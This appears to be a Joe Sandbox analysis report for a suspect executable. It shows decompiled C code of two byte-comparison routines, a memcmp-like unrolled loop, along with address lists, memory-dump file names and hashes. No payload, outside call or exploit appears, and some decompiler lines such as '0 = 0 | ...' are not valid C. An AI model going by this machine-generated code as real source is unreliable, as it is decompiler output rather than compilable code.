											_t211 = (0 | _t312 > 0x00000000) + (0 | _t312 > 0x00000000) - 1;
											if(_t211 != 0) {
												_t192 = _t211;
												goto L3;
											}
											goto L4;
										}
										_t314 = (_t206 & 0x000000ff) - ( *(_t195 - 6) & 0x000000ff);
										if(_t314 == 0) {
											L74:
											_t316 = ( *(_t191 - 5) & 0x000000ff) - ( *(_t195 - 5) & 0x000000ff);
											if(_t316 == 0) {
												L76:
												_t318 = ( *(_t191 - 4) & 0x000000ff) - ( *(_t195 - 4) & 0x000000ff);
												if(_t318 == 0) {
													L78:
													_t309 = ( *(_t191 - 3) & 0x000000ff) - ( *(_t195 - 3) & 0x000000ff);
													if(_t309 != 0) {
														_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
													}
													goto L81;
												}
												_t309 = (0 | _t318 > 0x00000000) + (0 | _t318 > 0x00000000) - 1;
												if(_t309 != 0) {
													goto L1;
												}
												goto L78;
											}
											_t309 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L76;
										}
										_t309 = (0 | _t314 > 0x00000000) + (0 | _t314 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L74;
									}
									_t321 = ( *(_t191 - 0xa) & 0x000000ff) - ( *(_t195 - 0xa) & 0x000000ff);
									if(_t321 == 0) {
										L63:
										_t323 = ( *(_t191 - 9) & 0x000000ff) - ( *(_t195 - 9) & 0x000000ff);
										if(_t323 == 0) {
											L65:
											_t325 = ( *(_t191 - 8) & 0x000000ff) - ( *(_t195 - 8) & 0x000000ff);
											if(_t325 == 0) {
												L67:
												_t309 = ( *(_t191 - 7) & 0x000000ff) - ( *(_t195 - 7) & 0x000000ff);
												if(_t309 != 0) {
													_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
												}
												goto L70;
											}
											_t309 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t309 != 0) {
												goto L1;
											}
											goto L67;
										}
										_t309 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L65;
									}
									_t309 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L63;
								}
								_t328 = (_t204 & 0x000000ff) - ( *(_t195 - 0xe) & 0x000000ff);
								if(_t328 == 0) {
									L52:
									_t330 = ( *(_t191 - 0xd) & 0x000000ff) - ( *(_t195 - 0xd) & 0x000000ff);
									if(_t330 == 0) {
										L54:
										_t332 = ( *(_t191 - 0xc) & 0x000000ff) - ( *(_t195 - 0xc) & 0x000000ff);
										if(_t332 == 0) {
											L56:
											_t309 = ( *(_t191 - 0xb) & 0x000000ff) - ( *(_t195 - 0xb) & 0x000000ff);
											if(_t309 != 0) {
												_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
											}
											goto L59;
										}
										_t309 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t309 != 0) {
											goto L1;
										}
										goto L56;
									}
									_t309 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L54;
								}
								_t309 = (0 | _t328 > 0x00000000) + (0 | _t328 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L52;
							}
							_t335 = (_t203 & 0x000000ff) - ( *(_t195 - 0x12) & 0x000000ff);
							if(_t335 == 0) {
								L41:
								_t337 = ( *(_t191 - 0x11) & 0x000000ff) - ( *(_t195 - 0x11) & 0x000000ff);
								if(_t337 == 0) {
									L43:
									_t339 = ( *(_t191 - 0x10) & 0x000000ff) - ( *(_t195 - 0x10) & 0x000000ff);
									if(_t339 == 0) {
										L45:
										_t309 = ( *(_t191 - 0xf) & 0x000000ff) - ( *(_t195 - 0xf) & 0x000000ff);
										if(_t309 != 0) {
											_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
										}
										goto L48;
									}
									_t309 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t309 != 0) {
										goto L1;
									}
									goto L45;
								}
								_t309 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L43;
							}
							_t309 = (0 | _t335 > 0x00000000) + (0 | _t335 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L41;
						}
						_t342 = (_t202 & 0x000000ff) - ( *(_t195 - 0x16) & 0x000000ff);
						if(_t342 == 0) {
							L30:
							_t344 = ( *(_t191 - 0x15) & 0x000000ff) - ( *(_t195 - 0x15) & 0x000000ff);
							if(_t344 == 0) {
								L32:
								_t346 = ( *(_t191 - 0x14) & 0x000000ff) - ( *(_t195 - 0x14) & 0x000000ff);
								if(_t346 == 0) {
									L34:
									_t309 = ( *(_t191 - 0x13) & 0x000000ff) - ( *(_t195 - 0x13) & 0x000000ff);
									if(_t309 != 0) {
										_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
									}
									goto L37;
								}
								_t309 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t309 != 0) {
									goto L1;
								}
								goto L34;
							}
							_t309 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L32;
						}
						_t309 = (0 | _t342 > 0x00000000) + (0 | _t342 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L30;
					}
					_t349 = (_t201 & 0x000000ff) - ( *(_t195 - 0x1a) & 0x000000ff);
					if(_t349 == 0) {
						L19:
						_t351 = ( *(_t191 - 0x19) & 0x000000ff) - ( *(_t195 - 0x19) & 0x000000ff);
						if(_t351 == 0) {
							L21:
							_t353 = ( *(_t191 - 0x18) & 0x000000ff) - ( *(_t195 - 0x18) & 0x000000ff);
							if(_t353 == 0) {
								L23:
								_t309 = ( *(_t191 - 0x17) & 0x000000ff) - ( *(_t195 - 0x17) & 0x000000ff);
								if(_t309 != 0) {
									_t309 = (0 | _t309 > 0x00000000) + (0 | _t309 > 0x00000000) - 1;
								}
								goto L26;
							}
							_t309 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t309 != 0) {
								goto L1;
							}
							goto L23;
						}
						_t309 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t309 != 0) {
							goto L1;
						}
						goto L21;
					}
					_t309 = (0 | _t349 > 0x00000000) + (0 | _t349 > 0x00000000) - 1;
					if(_t309 != 0) {
						goto L1;
					}
					goto L19;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1e) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
					if(__esi == 0) {
						L8:
						__esi =  *(__eax - 0x1d) & 0x000000ff;
						__edx =  *(__ecx - 0x1d) & 0x000000ff;
						__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
						if(__esi == 0) {
							L10:
							__esi =  *(__eax - 0x1c) & 0x000000ff;
							__edx =  *(__ecx - 0x1c) & 0x000000ff;
							__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
							if(__esi == 0) {
								L12:
								__esi =  *(__eax - 0x1b) & 0x000000ff;
								__edx =  *(__ecx - 0x1b) & 0x000000ff;
								__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L15;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L12;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L10;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L8;
				}
				L1:
				_t192 = _t309;
				goto L3;
			}

0x0040a17d
0x0040a17d
0x0040a183
0x0040a202
0x0040a204
0x0040a206
0x00000000
0x00000000
0x0040a20c
0x0040a212
0x0040a291
0x0040a293
0x0040a295
0x00000000
0x00000000
0x0040a29b
0x0040a2a1
0x0040a320
0x0040a322
0x0040a324
0x00000000
0x00000000
0x0040a32a
0x0040a330
0x0040a3af
0x0040a3b1
0x0040a3b3
0x00000000
0x00000000
0x0040a3b9
0x0040a3bf
0x0040a43e
0x0040a440
0x0040a442
0x00000000
0x00000000
0x0040a44e
0x0040a4ce
0x0040a4d0
0x0040a4d2
0x00000000
0x00000000
0x0040a4d8
0x0040a4de
0x0040a55d
0x0040a55f
0x0040a561
0x00000000
0x00000000
0x0040a56f
0x00409d69
0x00409d6b
0x0040aac7
0x0040aac7
0x0040a57d
0x0040a57f
0x0040a15b
0x0040a163
0x0040a165
0x0040a176
0x0040a176
0x00000000
0x0040a165
0x0040a58c
0x0040a592
0x0040a9ab
0x00000000
0x0040a9ab
0x00000000
0x0040a598
0x0040a4e7
0x0040a4e9
0x0040a500
0x0040a508
0x0040a50a
0x0040a521
0x0040a529
0x0040a52b
0x0040a542
0x0040a54a
0x0040a54c
0x0040a559
0x0040a559
0x00000000
0x0040a54c
0x0040a538
0x0040a53c
0x00000000
0x00000000
0x00000000
0x0040a53c
0x0040a517
0x0040a51b
0x00000000
0x00000000
0x00000000
0x0040a51b
0x0040a4f6
0x0040a4fa
0x00000000
0x00000000
0x00000000
0x0040a4fa
0x0040a458
0x0040a45a
0x0040a471
0x0040a479
0x0040a47b
0x0040a492
0x0040a49a
0x0040a49c
0x0040a4b3
0x0040a4bb
0x0040a4bd
0x0040a4ca
0x0040a4ca
0x00000000
0x0040a4bd
0x0040a4a9
0x0040a4ad
0x00000000
0x00000000
0x00000000
0x0040a4ad
0x0040a488
0x0040a48c
0x00000000
0x00000000
0x00000000
0x0040a48c
0x0040a467
0x0040a46b
0x00000000
0x00000000
0x00000000
0x0040a46b
0x0040a3c8
0x0040a3ca
0x0040a3e1
0x0040a3e9
0x0040a3eb
0x0040a402
0x0040a40a
0x0040a40c
0x0040a423
0x0040a42b
0x0040a42d
0x0040a43a
0x0040a43a
0x00000000
0x0040a42d
0x0040a419
0x0040a41d
0x00000000
0x00000000
0x00000000
0x0040a41d
0x0040a3f8
0x0040a3fc
0x00000000
0x00000000
0x00000000
0x0040a3fc
0x0040a3d7
0x0040a3db
0x00000000
0x00000000
0x00000000
0x0040a3db
0x0040a339
0x0040a33b
0x0040a352
0x0040a35a
0x0040a35c
0x0040a373
0x0040a37b
0x0040a37d
0x0040a394
0x0040a39c
0x0040a39e
0x0040a3ab
0x0040a3ab
0x00000000
0x0040a39e
0x0040a38a
0x0040a38e
0x00000000
0x00000000
0x00000000
0x0040a38e
0x0040a369
0x0040a36d
0x00000000
0x00000000
0x00000000
0x0040a36d
0x0040a348
0x0040a34c
0x00000000
0x00000000
0x00000000
0x0040a34c
0x0040a2aa
0x0040a2ac
0x0040a2c3
0x0040a2cb
0x0040a2cd
0x0040a2e4
0x0040a2ec
0x0040a2ee
0x0040a305
0x0040a30d
0x0040a30f
0x0040a31c
0x0040a31c
0x00000000
0x0040a30f
0x0040a2fb
0x0040a2ff
0x00000000
0x00000000
0x00000000
0x0040a2ff
0x0040a2da
0x0040a2de
0x00000000
0x00000000
0x00000000
0x0040a2de
0x0040a2b9
0x0040a2bd
0x00000000
0x00000000
0x00000000
0x0040a2bd
0x0040a21b
0x0040a21d
0x0040a234
0x0040a23c
0x0040a23e
0x0040a255
0x0040a25d
0x0040a25f
0x0040a276
0x0040a27e
0x0040a280
0x0040a28d
0x0040a28d
0x00000000
0x0040a280
0x0040a26c
0x0040a270
0x00000000
0x00000000
0x00000000
0x0040a270
0x0040a24b
0x0040a24f
0x00000000
0x00000000
0x00000000
0x0040a24f
0x0040a22a
0x0040a22e
0x00000000
0x00000000
0x00000000
0x0040a185
0x0040a185
0x0040a188
0x0040a18c
0x0040a18e
0x0040a1a5
0x0040a1a5
0x0040a1a9
0x0040a1ad
0x0040a1af
0x0040a1c6
0x0040a1c6
0x0040a1ca
0x0040a1ce
0x0040a1d0
0x0040a1e7
0x0040a1e7
0x0040a1eb
0x0040a1ef
0x0040a1f1
0x0040a1f7
0x0040a1fa
0x0040a1fe
0x0040a1fe
0x00000000
0x0040a1f1
0x0040a1d6
0x0040a1d9
0x0040a1dd
0x0040a1e1
0x00000000
0x00000000
0x00000000
0x0040a1e1
0x0040a1b5
0x0040a1b8
0x0040a1bc
0x0040a1c0
0x00000000
0x00000000
0x00000000
0x0040a1c0
0x0040a194
0x0040a197
0x0040a19b
0x0040a19f
0x00000000
0x00000000
0x00000000
0x0040a19f
0x00409996
0x00409996
0x00000000

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: d43d7816f6f9788c0b9e8b4e0610f6f0f322a8b167fd522dbe49d8ec9a1c7ad5
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: 1CD16DB3C0AAB30AC735812E456852BEAA26FD165031EC7FA9CD43F3CED13A5C1596D4

Uniqueness

Uniqueness Score: -1.00%

Function 00409D71 Relevance: .4, Instructions: 361
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00409D71(void* __eax, void* __ecx) {
				void* _t183;
				signed int _t184;
				void* _t187;
				signed char _t193;
				signed char _t194;
				signed char _t195;
				signed char _t196;
				signed char _t198;
				signed int _t296;
				void* _t299;
				void* _t301;
				void* _t303;
				void* _t306;
				void* _t308;
				void* _t310;
				void* _t313;
				void* _t315;
				void* _t317;
				void* _t320;
				void* _t322;
				void* _t324;
				void* _t327;
				void* _t329;
				void* _t331;
				void* _t334;
				void* _t336;
				void* _t338;

				_t187 = __ecx;
				_t183 = __eax;
				if( *((intOrPtr*)(__eax - 0x1d)) ==  *((intOrPtr*)(__ecx - 0x1d))) {
					_t296 = 0;
					L12:
					if(_t296 != 0) {
						goto L1;
					}
					_t193 =  *(_t183 - 0x19);
					if(_t193 ==  *(_t187 - 0x19)) {
						_t296 = 0;
						L23:
						if(_t296 != 0) {
							goto L1;
						}
						_t194 =  *(_t183 - 0x15);
						if(_t194 ==  *(_t187 - 0x15)) {
							_t296 = 0;
							L34:
							if(_t296 != 0) {
								goto L1;
							}
							_t195 =  *(_t183 - 0x11);
							if(_t195 ==  *(_t187 - 0x11)) {
								_t296 = 0;
								L45:
								if(_t296 != 0) {
									goto L1;
								}
								_t196 =  *(_t183 - 0xd);
								if(_t196 ==  *(_t187 - 0xd)) {
									_t296 = 0;
									L56:
									if(_t296 != 0) {
										goto L1;
									}
									if( *(_t183 - 9) ==  *(_t187 - 9)) {
										_t296 = 0;
										L67:
										if(_t296 != 0) {
											goto L1;
										}
										_t198 =  *(_t183 - 5);
										if(_t198 ==  *(_t187 - 5)) {
											_t296 = 0;
											L78:
											if(_t296 != 0) {
												goto L1;
											}
											_t184 = ( *(_t183 - 1) & 0x000000ff) - ( *(_t187 - 1) & 0x000000ff);
											if(_t184 != 0) {
												_t184 = (0 | _t184 > 0x00000000) + (0 | _t184 > 0x00000000) - 1;
											}
											L2:
											return _t184;
										}
										_t299 = (_t198 & 0x000000ff) - ( *(_t187 - 5) & 0x000000ff);
										if(_t299 == 0) {
											L71:
											_t301 = ( *(_t183 - 4) & 0x000000ff) - ( *(_t187 - 4) & 0x000000ff);
											if(_t301 == 0) {
												L73:
												_t303 = ( *(_t183 - 3) & 0x000000ff) - ( *(_t187 - 3) & 0x000000ff);
												if(_t303 == 0) {
													L75:
													_t296 = ( *(_t183 - 2) & 0x000000ff) - ( *(_t187 - 2) & 0x000000ff);
													if(_t296 != 0) {
														_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
													}
													goto L78;
												}
												_t296 = (0 | _t303 > 0x00000000) + (0 | _t303 > 0x00000000) - 1;
												if(_t296 != 0) {
													goto L1;
												}
												goto L75;
											}
											_t296 = (0 | _t301 > 0x00000000) + (0 | _t301 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L73;
										}
										_t296 = (0 | _t299 > 0x00000000) + (0 | _t299 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L71;
									}
									_t306 = ( *(_t183 - 9) & 0x000000ff) - ( *(_t187 - 9) & 0x000000ff);
									if(_t306 == 0) {
										L60:
										_t308 = ( *(_t183 - 8) & 0x000000ff) - ( *(_t187 - 8) & 0x000000ff);
										if(_t308 == 0) {
											L62:
											_t310 = ( *(_t183 - 7) & 0x000000ff) - ( *(_t187 - 7) & 0x000000ff);
											if(_t310 == 0) {
												L64:
												_t296 = ( *(_t183 - 6) & 0x000000ff) - ( *(_t187 - 6) & 0x000000ff);
												if(_t296 != 0) {
													_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
												}
												goto L67;
											}
											_t296 = (0 | _t310 > 0x00000000) + (0 | _t310 > 0x00000000) - 1;
											if(_t296 != 0) {
												goto L1;
											}
											goto L64;
										}
										_t296 = (0 | _t308 > 0x00000000) + (0 | _t308 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L62;
									}
									_t296 = (0 | _t306 > 0x00000000) + (0 | _t306 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L60;
								}
								_t313 = (_t196 & 0x000000ff) - ( *(_t187 - 0xd) & 0x000000ff);
								if(_t313 == 0) {
									L49:
									_t315 = ( *(_t183 - 0xc) & 0x000000ff) - ( *(_t187 - 0xc) & 0x000000ff);
									if(_t315 == 0) {
										L51:
										_t317 = ( *(_t183 - 0xb) & 0x000000ff) - ( *(_t187 - 0xb) & 0x000000ff);
										if(_t317 == 0) {
											L53:
											_t296 = ( *(_t183 - 0xa) & 0x000000ff) - ( *(_t187 - 0xa) & 0x000000ff);
											if(_t296 != 0) {
												_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
											}
											goto L56;
										}
										_t296 = (0 | _t317 > 0x00000000) + (0 | _t317 > 0x00000000) - 1;
										if(_t296 != 0) {
											goto L1;
										}
										goto L53;
									}
									_t296 = (0 | _t315 > 0x00000000) + (0 | _t315 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L51;
								}
								_t296 = (0 | _t313 > 0x00000000) + (0 | _t313 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L49;
							}
							_t320 = (_t195 & 0x000000ff) - ( *(_t187 - 0x11) & 0x000000ff);
							if(_t320 == 0) {
								L38:
								_t322 = ( *(_t183 - 0x10) & 0x000000ff) - ( *(_t187 - 0x10) & 0x000000ff);
								if(_t322 == 0) {
									L40:
									_t324 = ( *(_t183 - 0xf) & 0x000000ff) - ( *(_t187 - 0xf) & 0x000000ff);
									if(_t324 == 0) {
										L42:
										_t296 = ( *(_t183 - 0xe) & 0x000000ff) - ( *(_t187 - 0xe) & 0x000000ff);
										if(_t296 != 0) {
											_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
										}
										goto L45;
									}
									_t296 = (0 | _t324 > 0x00000000) + (0 | _t324 > 0x00000000) - 1;
									if(_t296 != 0) {
										goto L1;
									}
									goto L42;
								}
								_t296 = (0 | _t322 > 0x00000000) + (0 | _t322 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L40;
							}
							_t296 = (0 | _t320 > 0x00000000) + (0 | _t320 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L38;
						}
						_t327 = (_t194 & 0x000000ff) - ( *(_t187 - 0x15) & 0x000000ff);
						if(_t327 == 0) {
							L27:
							_t329 = ( *(_t183 - 0x14) & 0x000000ff) - ( *(_t187 - 0x14) & 0x000000ff);
							if(_t329 == 0) {
								L29:
								_t331 = ( *(_t183 - 0x13) & 0x000000ff) - ( *(_t187 - 0x13) & 0x000000ff);
								if(_t331 == 0) {
									L31:
									_t296 = ( *(_t183 - 0x12) & 0x000000ff) - ( *(_t187 - 0x12) & 0x000000ff);
									if(_t296 != 0) {
										_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
									}
									goto L34;
								}
								_t296 = (0 | _t331 > 0x00000000) + (0 | _t331 > 0x00000000) - 1;
								if(_t296 != 0) {
									goto L1;
								}
								goto L31;
							}
							_t296 = (0 | _t329 > 0x00000000) + (0 | _t329 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L29;
						}
						_t296 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L27;
					}
					_t334 = (_t193 & 0x000000ff) - ( *(_t187 - 0x19) & 0x000000ff);
					if(_t334 == 0) {
						L16:
						_t336 = ( *(_t183 - 0x18) & 0x000000ff) - ( *(_t187 - 0x18) & 0x000000ff);
						if(_t336 == 0) {
							L18:
							_t338 = ( *(_t183 - 0x17) & 0x000000ff) - ( *(_t187 - 0x17) & 0x000000ff);
							if(_t338 == 0) {
								L20:
								_t296 = ( *(_t183 - 0x16) & 0x000000ff) - ( *(_t187 - 0x16) & 0x000000ff);
								if(_t296 != 0) {
									_t296 = (0 | _t296 > 0x00000000) + (0 | _t296 > 0x00000000) - 1;
								}
								goto L23;
							}
							_t296 = (0 | _t338 > 0x00000000) + (0 | _t338 > 0x00000000) - 1;
							if(_t296 != 0) {
								goto L1;
							}
							goto L20;
						}
						_t296 = (0 | _t336 > 0x00000000) + (0 | _t336 > 0x00000000) - 1;
						if(_t296 != 0) {
							goto L1;
						}
						goto L18;
					}
					_t296 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
					if(_t296 != 0) {
						goto L1;
					}
					goto L16;
				} else {
					__esi = __dl & 0x000000ff;
					__edx =  *(__ecx - 0x1d) & 0x000000ff;
					__esi = (__dl & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
					if(__esi == 0) {
						L5:
						__esi =  *(__eax - 0x1c) & 0x000000ff;
						__edx =  *(__ecx - 0x1c) & 0x000000ff;
						__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
						if(__esi == 0) {
							L7:
							__esi =  *(__eax - 0x1b) & 0x000000ff;
							__edx =  *(__ecx - 0x1b) & 0x000000ff;
							__esi = ( *(__eax - 0x1b) & 0x000000ff) - ( *(__ecx - 0x1b) & 0x000000ff);
							if(__esi == 0) {
								L9:
								__esi =  *(__eax - 0x1a) & 0x000000ff;
								__edx =  *(__ecx - 0x1a) & 0x000000ff;
								__esi = ( *(__eax - 0x1a) & 0x000000ff) - ( *(__ecx - 0x1a) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L12;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L9;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L7;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L5;
				}
				L1:
				_t184 = _t296;
				goto L2;
			}

0x00409d71
0x00409d71
0x00409d77
0x00409df6
0x00409df8
0x00409dfa
0x00000000
0x00000000
0x00409e00
0x00409e06
0x00409e85
0x00409e87
0x00409e89
0x00000000
0x00000000
0x00409e8f
0x00409e95
0x00409f14
0x00409f16
0x00409f18
0x00000000
0x00000000
0x00409f1e
0x00409f24
0x00409fa3
0x00409fa5
0x00409fa7
0x00000000
0x00000000
0x00409fad
0x00409fb3
0x0040a032
0x0040a034
0x0040a036
0x00000000
0x00000000
0x0040a042
0x0040a0c2
0x0040a0c4
0x0040a0c6
0x00000000
0x00000000
0x0040a0cc
0x0040a0d2
0x0040a151
0x0040a153
0x0040a155
0x00000000
0x00000000
0x0040a163
0x0040a165
0x0040a176
0x0040a176
0x00409d6b
0x0040aac7
0x0040aac7
0x0040a0db
0x0040a0dd
0x0040a0f4
0x0040a0fc
0x0040a0fe
0x0040a115
0x0040a11d
0x0040a11f
0x0040a136
0x0040a13e
0x0040a140
0x0040a14d
0x0040a14d
0x00000000
0x0040a140
0x0040a12c
0x0040a130
0x00000000
0x00000000
0x00000000
0x0040a130
0x0040a10b
0x0040a10f
0x00000000
0x00000000
0x00000000
0x0040a10f
0x0040a0ea
0x0040a0ee
0x00000000
0x00000000
0x00000000
0x0040a0ee
0x0040a04c
0x0040a04e
0x0040a065
0x0040a06d
0x0040a06f
0x0040a086
0x0040a08e
0x0040a090
0x0040a0a7
0x0040a0af
0x0040a0b1
0x0040a0be
0x0040a0be
0x00000000
0x0040a0b1
0x0040a09d
0x0040a0a1
0x00000000
0x00000000
0x00000000
0x0040a0a1
0x0040a07c
0x0040a080
0x00000000
0x00000000
0x00000000
0x0040a080
0x0040a05b
0x0040a05f
0x00000000
0x00000000
0x00000000
0x0040a05f
0x00409fbc
0x00409fbe
0x00409fd5
0x00409fdd
0x00409fdf
0x00409ff6
0x00409ffe
0x0040a000
0x0040a017
0x0040a01f
0x0040a021
0x0040a02e
0x0040a02e
0x00000000
0x0040a021
0x0040a00d
0x0040a011
0x00000000
0x00000000
0x00000000
0x0040a011
0x00409fec
0x00409ff0
0x00000000
0x00000000
0x00000000
0x00409ff0
0x00409fcb
0x00409fcf
0x00000000
0x00000000
0x00000000
0x00409fcf
0x00409f2d
0x00409f2f
0x00409f46
0x00409f4e
0x00409f50
0x00409f67
0x00409f6f
0x00409f71
0x00409f88
0x00409f90
0x00409f92
0x00409f9f
0x00409f9f
0x00000000
0x00409f92
0x00409f7e
0x00409f82
0x00000000
0x00000000
0x00000000
0x00409f82
0x00409f5d
0x00409f61
0x00000000
0x00000000
0x00000000
0x00409f61
0x00409f3c
0x00409f40
0x00000000
0x00000000
0x00000000
0x00409f40
0x00409e9e
0x00409ea0
0x00409eb7
0x00409ebf
0x00409ec1
0x00409ed8
0x00409ee0
0x00409ee2
0x00409ef9
0x00409f01
0x00409f03
0x00409f10
0x00409f10
0x00000000
0x00409f03
0x00409eef
0x00409ef3
0x00000000
0x00000000
0x00000000
0x00409ef3
0x00409ece
0x00409ed2
0x00000000
0x00000000
0x00000000
0x00409ed2
0x00409ead
0x00409eb1
0x00000000
0x00000000
0x00000000
0x00409eb1
0x00409e0f
0x00409e11
0x00409e28
0x00409e30
0x00409e32
0x00409e49
0x00409e51
0x00409e53
0x00409e6a
0x00409e72
0x00409e74
0x00409e81
0x00409e81
0x00000000
0x00409e74
0x00409e60
0x00409e64
0x00000000
0x00000000
0x00000000
0x00409e64
0x00409e3f
0x00409e43
0x00000000
0x00000000
0x00000000
0x00409e43
0x00409e1e
0x00409e22
0x00000000
0x00000000
0x00000000
0x00409d79
0x00409d79
0x00409d7c
0x00409d80
0x00409d82
0x00409d99
0x00409d99
0x00409d9d
0x00409da1
0x00409da3
0x00409dba
0x00409dba
0x00409dbe
0x00409dc2
0x00409dc4
0x00409ddb
0x00409ddb
0x00409ddf
0x00409de3
0x00409de5
0x00409deb
0x00409dee
0x00409df2
0x00409df2
0x00000000
0x00409de5
0x00409dca
0x00409dcd
0x00409dd1
0x00409dd5
0x00000000
0x00000000
0x00000000
0x00409dd5
0x00409da9
0x00409dac
0x00409db0
0x00409db4
0x00000000
0x00000000
0x00000000
0x00409db4
0x00409d88
0x00409d8b
0x00409d8f
0x00409d93
0x00000000
0x00000000
0x00000000
0x00409d93
0x00409996
0x00409996
0x00000000

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
